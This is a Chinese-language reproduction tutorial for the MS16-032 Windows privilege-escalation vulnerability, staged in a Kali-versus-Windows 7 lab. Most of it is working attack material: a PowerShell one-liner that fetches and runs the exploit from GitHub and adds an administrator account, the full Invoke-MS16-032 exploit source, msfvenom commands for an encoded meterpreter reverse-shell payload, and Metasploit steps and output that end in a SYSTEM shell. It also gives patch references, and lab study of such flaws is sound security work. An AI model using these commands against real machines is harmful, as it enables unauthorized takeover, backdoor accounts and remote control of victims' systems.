MS16_032系统提权漏洞

漏洞描述

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声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！

MS16_032系统提权漏洞。

参考：https://blog.csdn.net/Adminxe/article/details/106754010

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影响版本

此漏洞会影响以下Microsoft产品：

• Windows Vista
• Windows 7
• Windows 8.1
• Windows 10
• Windows 2008 Server
• Windows 2012 Server

FOFA语句

无

环境搭建

攻击机：kali

受害机：Windows 7(需要配置两个以上处理器)

漏洞复现

powershell

使用powershell一句话提权;

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup administrators longer /add'"

GitHub的链接极其不稳定，可以将POC下载下来，将以下内容保存为Invoke-MS16-032.ps1文件；

function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    Blog: http://www.fuzzysecurity.com/
    License: BSD 3-Clause
    Required Dependencies: PowerShell v2+
    Optional Dependencies: None

.PARAMETER Application

Specifies an Application to run.

.PARAMETER Commandline

Specifies Commandline, such as net user xxx xxx /add
    
.EXAMPLE
    C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe
    C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe -Commandline "/c net user 1 1 /add"

#>
  [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False, ParameterSetName = 'C:\Windows\System32\cmd.exe' )]
        [string]
        $Application,

        [Parameter(Mandatory = $False)]
        [string]
        $Commandline
        )


    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
    
    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }
    
    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
    public struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    
    [StructLayout(LayoutKind.Sequential)]
    public struct SQOS
    {
        public int Length;
        public int ImpersonationLevel;
        public int ContextTrackingMode;
        public bool EffectiveOnly;
    }
    
    public static class Advapi32
    {
        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
        public static extern bool CreateProcessWithLogonW(
            String userName,
            String domain,
            String password,
            int logonFlags,
            String applicationName,
            String commandLine,
            int creationFlags,
            int environment,
            String currentDirectory,
            ref  STARTUPINFO startupInfo,
            out PROCESS_INFORMATION processInformation);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool SetThreadToken(
            ref IntPtr Thread,
            IntPtr Token);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenThreadToken(
            IntPtr ThreadHandle,
            int DesiredAccess,
            bool OpenAsSelf,
            out IntPtr TokenHandle);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenProcessToken(
            IntPtr ProcessHandle, 
            int DesiredAccess,
            ref IntPtr TokenHandle);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public extern static bool DuplicateToken(
            IntPtr ExistingTokenHandle,
            int SECURITY_IMPERSONATION_LEVEL,
            ref IntPtr DuplicateTokenHandle);
    }
    
    public static class Kernel32
    {
        [DllImport("kernel32.dll")]
        public static extern uint GetLastError();
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentProcess();
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentThread();
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern int GetThreadId(IntPtr hThread);
        
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern int GetProcessIdOfThread(IntPtr handle);
        
        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int SuspendThread(IntPtr hThread);
        
        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int ResumeThread(IntPtr hThread);
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool TerminateProcess(
            IntPtr hProcess,
            uint uExitCode);
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CloseHandle(IntPtr hObject);
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool DuplicateHandle(
            IntPtr hSourceProcessHandle,
            IntPtr hSourceHandle,
            IntPtr hTargetProcessHandle,
            ref IntPtr lpTargetHandle,
            int dwDesiredAccess,
            bool bInheritHandle,
            int dwOptions);
    }
    
    public static class Ntdll
    {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern int NtImpersonateThread(
            IntPtr ThreadHandle,
            IntPtr ThreadToImpersonate,
            ref SQOS SecurityQualityOfService);
    }
"@

    function Get-ThreadHandle {
        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
            $StartupInfo.wShowWindow = 0;
        $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
        
        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION
        
        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
        
        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, "C:\Windows\System32\notepad.exe", "",
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)
        
        # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
        $lpTargetHandle = [IntPtr]::Zero
        $CallResult = [Kernel32]::DuplicateHandle(
            $ProcessInfo.hProcess, 0x4,
            [Kernel32]::GetCurrentProcess(),
            [ref]$lpTargetHandle, 0, $false,
            0x00000002)
        
        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
        
        $lpTargetHandle
    }
    
    function Get-SystemToken {
        echo "`n[?] Trying thread handle: $Thread"
        echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
    
        $CallResult = [Kernel32]::SuspendThread($Thread)
        if ($CallResult -ne 0) {
            echo "[!] $Thread is a bad thread, moving on.."
            Return
        } echo "[+] Thread suspended"
        
        echo "[>] Wiping current impersonation token"
        $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
        if (!$CallResult) {
            echo "[!] SetThreadToken failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }
        
        echo "[>] Building SYSTEM impersonation token"
        # SecurityQualityOfService struct
        $SQOS = New-Object SQOS
        $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
        $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
        # Undocumented API's, I like your style Microsoft ;)
        $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
        if ($CallResult -ne 0) {
            echo "[!] NtImpersonateThread failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }
    
        $script:SysTokenHandle = [IntPtr]::Zero
        # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
        $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
        if (!$CallResult) {
            echo "[!] OpenThreadToken failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }
        
        echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
        echo "[+] Resuming thread.."
        $CallResult = [Kernel32]::ResumeThread($Thread)
    }
    
    # main() <--- ;)
    $ms16032 = @"
     __ __ ___ ___   ___     ___ ___ ___ 
    |  V  |  _|_  | |  _|___|   |_  |_  |
    |     |_  |_| |_| . |___| | |_  |  _|
    |_|_|_|___|_____|___|   |___|___|___|
                                        
                   [by b33f -> @FuzzySec]
"@
    
    $ms16032
    
    # Check logical processor count, race condition requires 2+
    echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
    if ($([System.Environment]::ProcessorCount) -lt 2) {
        echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
        Return
    }
    
    # Create array for Threads & TID's
    $ThreadArray = @()
    $TidArray = @()
    
    echo "[>] Duplicating CreateProcessWithLogonW handles.."
    # Loop Get-ThreadHandle and collect thread handles with a valid TID
    for ($i=0; $i -lt 500; $i++) {
        $hThread = Get-ThreadHandle
        $hThreadID = [Kernel32]::GetThreadId($hThread)
        # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
        if ($TidArray -notcontains $hThreadID) {
            $TidArray += $hThreadID
            if ($hThread -ne 0) {
                $ThreadArray += $hThread # This is what we need!
            }
        }
    }
    
    if ($($ThreadArray.length) -eq 0) {
        echo "[!] No valid thread handles were captured, exiting!"
        Return
    } else {
        echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
        echo "`n[?] Thread handle list:"
        $ThreadArray
    }
    
    echo "`n[*] Sniffing out privileged impersonation token.."
    foreach ($Thread in $ThreadArray){
    
        # Get handle to SYSTEM access token
        Get-SystemToken
        
        echo "`n[*] Sniffing out SYSTEM shell.."
        echo "`n[>] Duplicating SYSTEM token"
        $hDuplicateTokenHandle = [IntPtr]::Zero
        $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
        
        # Simple PS runspace definition
        echo "[>] Starting token race"
        $Runspace = [runspacefactory]::CreateRunspace()
        $StartTokenRace = [powershell]::Create()
        $StartTokenRace.runspace = $Runspace
        $Runspace.Open()
        [void]$StartTokenRace.AddScript({
            Param ($Thread, $hDuplicateTokenHandle)
            while ($true) {
                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
            }
        }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
        $AscObj = $StartTokenRace.BeginInvoke()
        
        echo "[>] Starting process race"
        # Adding a timeout (10 seconds) here to safeguard from edge-cases
        $SafeGuard = [diagnostics.stopwatch]::StartNew()
        while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
            $StartupInfo.wShowWindow = 0;
        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION
        
        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
        
        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, $Application,$Commandline,
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)
        #---
        # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
        #---
        # Missing this check used to cause the exploit to fail sometimes.
        # If CreateProcessWithLogon fails OpenProcessToken won't succeed
        # but we obviously don't have a SYSTEM shell :'( . Should be 100%
        # reliable now!
        #---
        if (!$CallResult) {
            continue
        }            
        $hTokenHandle = [IntPtr]::Zero
        $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
        # If we can't open the process token it's a SYSTEM shell!
        if (!$CallResult) {
            echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
            $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
            $StartTokenRace.Stop()
            $SafeGuard.Stop()
            Return
        }
            
        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
        }
        
        # Kill runspace & stopwatch if edge-case
        $StartTokenRace.Stop()
        $SafeGuard.Stop()
    }
}

然后执行；

PS C:\Users\s\Desktop>  . .\Invoke-MS16-032.ps1
PS C:\Users\s\Desktop> Invoke-MS16-032
     __ __ ___ ___   ___     ___ ___ ___
    |  V  |  _|_  | |  _|___|   |_  |_  |
    |     |_  |_| |_| . |___| | |_  |  _|
    |_|_|_|___|_____|___|   |___|___|___|

                   [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handles..
[?] Done, got 4 thread handle(s)!

[?] Thread handle list:
1256
1052
1852
1424

[*] Sniffing out privileged impersonation token..
……
# 执行系统命令
PS C:\Users\s\Desktop> Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"

# 创建系统进程
PS C:\Users\s\Desktop> Invoke-MS16-032 -Application notepad.exe

msfconsole

kali中执行；

# 利用msfvenom生成木马
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 13 -b '\x00\xfff\x0a' lhost=192.168.220.130 --platform windows lport=4444 -f exe >/root/test.exe

# 在msf下开启监听
root@kali:/var/www/html/shell# msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.220.130
set lport 4444
exploit

# 获取session后放置后台background
meterpreter > getuid
Server username: WIN-T4IO5PG1923\皮皮龙
meterpreter > background 
msf5 exploit(multi/handler) > use ms16_032_secondary_logon_handle_privesc
[*] Using exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 11 
session => 11
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on 192.168.220.138:4444 
[+] Compressed size: 1016
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\safedog\AppData\Local\Temp\CtARDy.ps1...
[*] Compressing script contents...
[+] Compressed size: 3592
[*] Executing exploit script...
	 __ __ ___ ___   ___     ___ ___ ___ 
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	                                    
	               [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 872

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 868
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

AajfqyEWS9GV4PhcRDucDZDy9ktl9zRf
[+] Executed on target machine.
[*] Sending stage (176195 bytes) to 192.168.220.130
[*] Meterpreter session 12 opened (192.168.220.138:4444 -> 192.168.220.130:49160) at 2021-11-18 01:03:44 -0500
[+] Deleted C:\Users\safedog\AppData\Local\Temp\CtARDy.ps1

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

修复建议

参考：https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-032

参考：https://support.microsoft.com/zh-cn/topic/ms16-032-%E7%94%A8%E4%BA%8E%E4%BF%AE%E5%A4%8D%E7%89%B9%E6%9D%83%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%E7%9A%84%E8%BE%85%E5%8A%A9%E7%99%BB%E5%BD%95%E5%AE%89%E5%85%A8%E6%9B%B4%E6%96%B0%E7%A8%8B%E5%BA%8F-2016-%E5%B9%B4-3-%E6%9C%88-8-%E6%97%A5-e73c1fa2-77ee-2c27-69eb-1b89afa3394f